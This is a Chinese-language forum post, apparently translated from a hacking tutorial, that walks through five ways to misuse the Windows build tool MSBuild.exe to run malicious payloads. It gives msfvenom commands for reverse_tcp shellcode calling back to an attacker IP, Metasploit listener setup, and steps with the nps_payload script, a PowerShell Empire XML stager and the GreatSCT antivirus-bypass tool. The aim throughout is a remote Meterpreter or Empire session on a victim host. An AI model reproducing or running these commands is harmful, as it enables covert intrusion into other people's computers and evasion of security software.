taibeihacker
Moderator
一、MSbuild.exe简介
Microsoft Build Engine是一個用於構建應用程序的平台。此引擎也被稱為msbuild,它為項目文件提供一個XML模式,該模式控制構建平台如何處理和構建軟件。 Visual Studio使用MSBuild,但它不依賴於Visual Studio。通過在項目或解決方案文件中調用msbuild.exe,可以在未安裝Visual Studio的環境中編譯和生成程序。Visual Studio使用MSBuild加載和生成託管項目。 Visual Studio中的項目文件(.csproj,vbproj,vcxproj和其他)包含MSBuild XML代碼。
二、攻击方法
1.第一种方法:使用Msfvenom生成CSharp文件
我們使用Microsoft Visual Studio創建帶有*.csproj後綴的C#(C Sharp)編程項目,該後綴以msbuild格式保存,以便使用msbuild平台將其編譯為可執行程序。在惡意程序的生成並執行下,我們可以獲得受害者主機的反向shell。因此,現在我們將生成file.csproj文件,為此,首先通過msfvenom生成c#的shellcode。然後,shellcode將被放入到我們的file.csproj中,如下所示
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp

上面生成的shellcode應該放在XML文件中,你可以從GitHub下載這個XML文件,它有被MSBuild編譯和執行的代碼。此XML文件應保存為file.csproj,並且必須通過MSBuild運行才能獲得Meterpreter會話。
注意:从C#shellcode中替换shellcode值,然后将buf重命名为shellcode,如下图所示:

可以從Visual Studio或命令窗口運行msbuild。通過使用Visual Studio,您可以在.NET框架的任意一個版本上運行編譯一個應用程序。
例如,您可以在32位平台上的.NET Framework 2.0上運行編譯應用程序,並且您可以在64位平台上的.NET Framework 4.5上運行編譯相同的應用程序。編譯到多個框架的任務被稱為多目標。
要了解有關msbuild的更多信息,請閱讀此文章鏈接:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015
現在啟動多處理程序以獲取meterpreter會話,並使用msbuild.exe在目標路徑C:\windows\microsoft.net\framework\v4.0.30319執行file.csproj文件,如圖所示:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exefile.csproj
注意:您需要在此位置保存恶意exploit(XML/csproj)C:\windows\microsoft.net\framework\v4.0.30319\,然後使用命令提示符執行此文件

use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.109
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
如您所見,我們將擁有受害者的meterpreter session ,如下所示:

2.第二种方法:生成XML文件以利用MSBuild
如上所述,msbuild使用基於XML的項目文件格式,該格式簡單且可擴展,因此我們可以將生成的file.csproj重命名為file.xml,然後在目標路徑上使用msbuild.exe再次運行file.xml:c:\windows\microsoft.net\framework\v4.0.30319,如圖所示。C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exefile.xml

use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.109
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
如您所見,我們將擁有受害者的meterpreter session ,如下所示:

3.第三种方法:Nps_Payload脚本
此腳本將為基本的入侵檢測的逃逸生成payload。它利用了來自幾個不同來源的公開技術。由Larry Spohn(@spoonman1091)編寫,Payload由Ben Mauch(@ben0xa)編寫,又名Dirty_Ben。你可以從github下載它。Nps_payload將生成可以使用msbuild.exe和mshta.exe執行的payload,以通過meterpreter會話獲取受害者主機的反向連接。
按照以下步驟生成payload:
從GitHub下載nps exploit後,運行./nps_payload.py腳本
輸入1,然後選擇選項“generate msbuild/nps/msfF”
再次輸入1並選擇payload選項“windows/meterpreter/reverse_tcp”
這將在XML文件中生成payload,在目標位置C:\windows\microsoft.net\framework\v4.0.30319中發送此文件,與前面的方法相同,並在新終端中同時運行下面的命令以啟動偵聽器。
msfconsole -r msbuild_nps.rc

現在重複上面的步驟,使用命令提示符執行msbuild_nps.xml,並通過meterpreter獲取反向連接,如下所示:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exemsbuild_nps.xml

4.第四种方法:PowerShell Empire
對於我們的下一個msbuild攻擊方法,我們將使用empire。 empire是一款後開發框架。到目前為止,我們已經將我們的XML工具與Metasploit匹配,但在這種方法中,我們將使用empire框架。它只是基於python的PowerShell windows代理,這使得它非常有用。 Empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier開發。您可以從https://github.com/EmpireProject/Empire下載此框架。要獲得empire的基本指南,請訪問我們的文章:
Hacking with Empire - PowerShell Post-Exploitation Agent - Hacking Articles
Our today’s article is the first post of our Empire series. In this, we will cover every basic you need to know about the PowerShell
www.hackingarticles.in
listeners
uselistner http
set Host http://192.168.1.107
execute
使用上述命令,您將擁有一個活動的偵聽器。輸入back以退出偵聽器,以便啟動PowerShell。
對於我們的msbuild攻擊,我們將使用stager。 empire中的stager是一段代碼段,它允許我們的惡意代碼通過被感染主機上的代理運行。因此,對於這種類型,請輸入以下命令:
usestager windows/launcher_xml
set Listener http
execute
usestager將創建一個惡意代碼文件,該文件將保存在名為launcher.xml的/tmp中。

一旦文件運行,我們將在偵聽器上獲得結果。通過鍵入以下命令運行受害者的文件:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe launcher.xml

要查看是否有會話,請打開輸入命令“agents”。這樣做將向您顯示您擁有的會話的名稱。要訪問該會話請輸入以下命令:
interact A8H14C7L
上面的命令將允許您訪問會話
sysinfo

5.第五种方法:GreatSCT
GreatSCT是一款允許您使用Metasploit exploit 並允許它繞過大多數反病毒的工具。 GreatSCT目前得到了@ConsciousHacker的支持。您可以從這裡下載:https://github.com/GreatSCT/GreatSCT下載並執行後,輸入以下命令以訪問模塊:
use Bypass

現在查看payload列表類型:
list

現在,從payload列表中,您可以選擇任何目標進行所需的攻擊。但對於這次攻擊,我們將使用:
use msbuild/meterpreter/rev_tcp.py

執行命令後,輸入以下命令:
set lhost 192.168.1.107
generate

在生成payload時,它將要求您為payload提供一個名稱。默認情況下,它將以“payload”作為名稱。我們將msbuild作為exploit名稱,輸出代碼將保存在XML中。

現在,創建了兩個文件。一個Metasploit RC文件和另外一個msbuild.xml文件。
首先,在/usr/share/greatsct output/source中通過輸入以下命令啟動python的服務器:
python -m SimpleHTTPServer 80

通過輸入以下命令運行受害者的文件:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe msbuild.xml

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
我們擁有一個meterpreter會話,如圖所示:

參考文章:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017